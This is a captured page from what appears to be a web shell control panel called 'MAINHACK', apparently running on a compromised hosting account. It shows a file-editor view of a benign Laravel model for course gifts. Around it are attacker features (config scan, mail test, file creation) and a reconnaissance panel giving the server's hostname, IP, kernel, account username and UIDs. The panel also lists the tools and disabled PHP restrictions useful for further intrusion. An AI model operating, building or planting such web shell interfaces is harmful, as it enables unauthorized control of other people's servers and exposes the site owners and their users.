[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Gift.php
<?php namespace App\Models; use App\Mixins\Cart\CartItemInfo; use Illuminate\Database\Eloquent\Model; use Illuminate\Support\Collection; class Gift extends Model { protected $table = "gifts"; public $timestamps = false; protected $guarded = ['id']; public function user() { return $this->belongsTo('App\User', 'user_id', 'id'); } public function receipt() { return $this->belongsTo('App\User', 'email', 'email'); } public function sale() { return $this->hasOne('App\Models\Sale', 'gift_id', 'id'); } public function webinar() { return $this->belongsTo('App\Models\Webinar', 'webinar_id', 'id'); } public function bundle() { return $this->belongsTo('App\Models\Bundle', 'bundle_id', 'id'); } public function product() { return $this->belongsTo('App\Models\Product', 'product_id', 'id'); } public function getItemTitle() { $title = ''; if (!empty($this->webinar_id)) { $title = $this->webinar->title; } else if (!empty($this->bundle_id)) { $title = $this->bundle->title; } else if (!empty($this->product_id)) { $title = $this->product->title; } return $title; } public function getItemType() { $type = 'course'; if (!empty($this->bundle_id)) { $type = 'bundle'; } else if (!empty($this->product_id)) { $type = 'product'; } return $type; } public function sendNotificationsWhenActivated($amount) { $this->sendReminderToRecipient($amount); $this->sendReminderToSender($amount); $this->sendReminderToAdmin($amount, 'admin_gift_submission'); } public function sendReminderToRecipient($amount) { if (empty($this->date) or $this->date < time()) { $receipt = $this->receipt; $notifyOptions = [ '[u.name]' => $this->user->full_name, '[gift_title]' => $this->getItemTitle(), '[gift_type]' => $this->getItemType(), '[amount]' => (!empty($amount) and $amount > 0) ? handlePrice($amount) : trans('public.free'), '[gift_message]' => $this->description, ]; if (!empty($receipt)) { sendNotification('reminder_gift_to_receipt', $notifyOptions, $receipt->id); } else if (!empty($this->email)) { sendNotificationToEmail('reminder_gift_to_receipt', $notifyOptions, $this->email); } } } public function sendReminderToSender($amount, $template = "gift_sender_confirmation") { $sender = $this->user; $notifyOptions = [ '[u.name]' => $this->name, '[u.email]' => $this->email, '[gift_title]' => $this->getItemTitle(), '[gift_type]' => $this->getItemType(), '[amount]' => (!empty($amount) and $amount > 0) ? handlePrice($amount) : trans('public.free'), '[gift_message]' => $this->description, '[time.date]' => dateTimeFormat($this->created_at, "j M Y H:i"), // send date '[time.date.2]' => !empty($this->date) ? dateTimeFormat($this->date, "j M Y H:i") : trans('update.instantly'), // gift publish date ]; if (!empty($sender)) { sendNotification($template, $notifyOptions, $sender->id); } } public function sendReminderToAdmin($amount, $template) { $sender = $this->user; $notifyOptions = [ '[u.name]' => $this->name, '[u.name.2]' => $sender->full_name, '[u.email]' => $this->email, '[gift_title]' => $this->getItemTitle(), '[gift_type]' => $this->getItemType(), '[amount]' => (!empty($amount) and $amount > 0) ? handlePrice($amount) : trans('public.free'), '[time.date]' => dateTimeFormat($this->created_at, "j M Y H:i"), // send date '[time.date.2]' => !empty($this->date) ? dateTimeFormat($this->date, "j M Y H:i") : trans('update.instantly'), // gift publish date ]; if (!empty($sender)) { sendNotification($template, $notifyOptions, 1); } } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.86 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285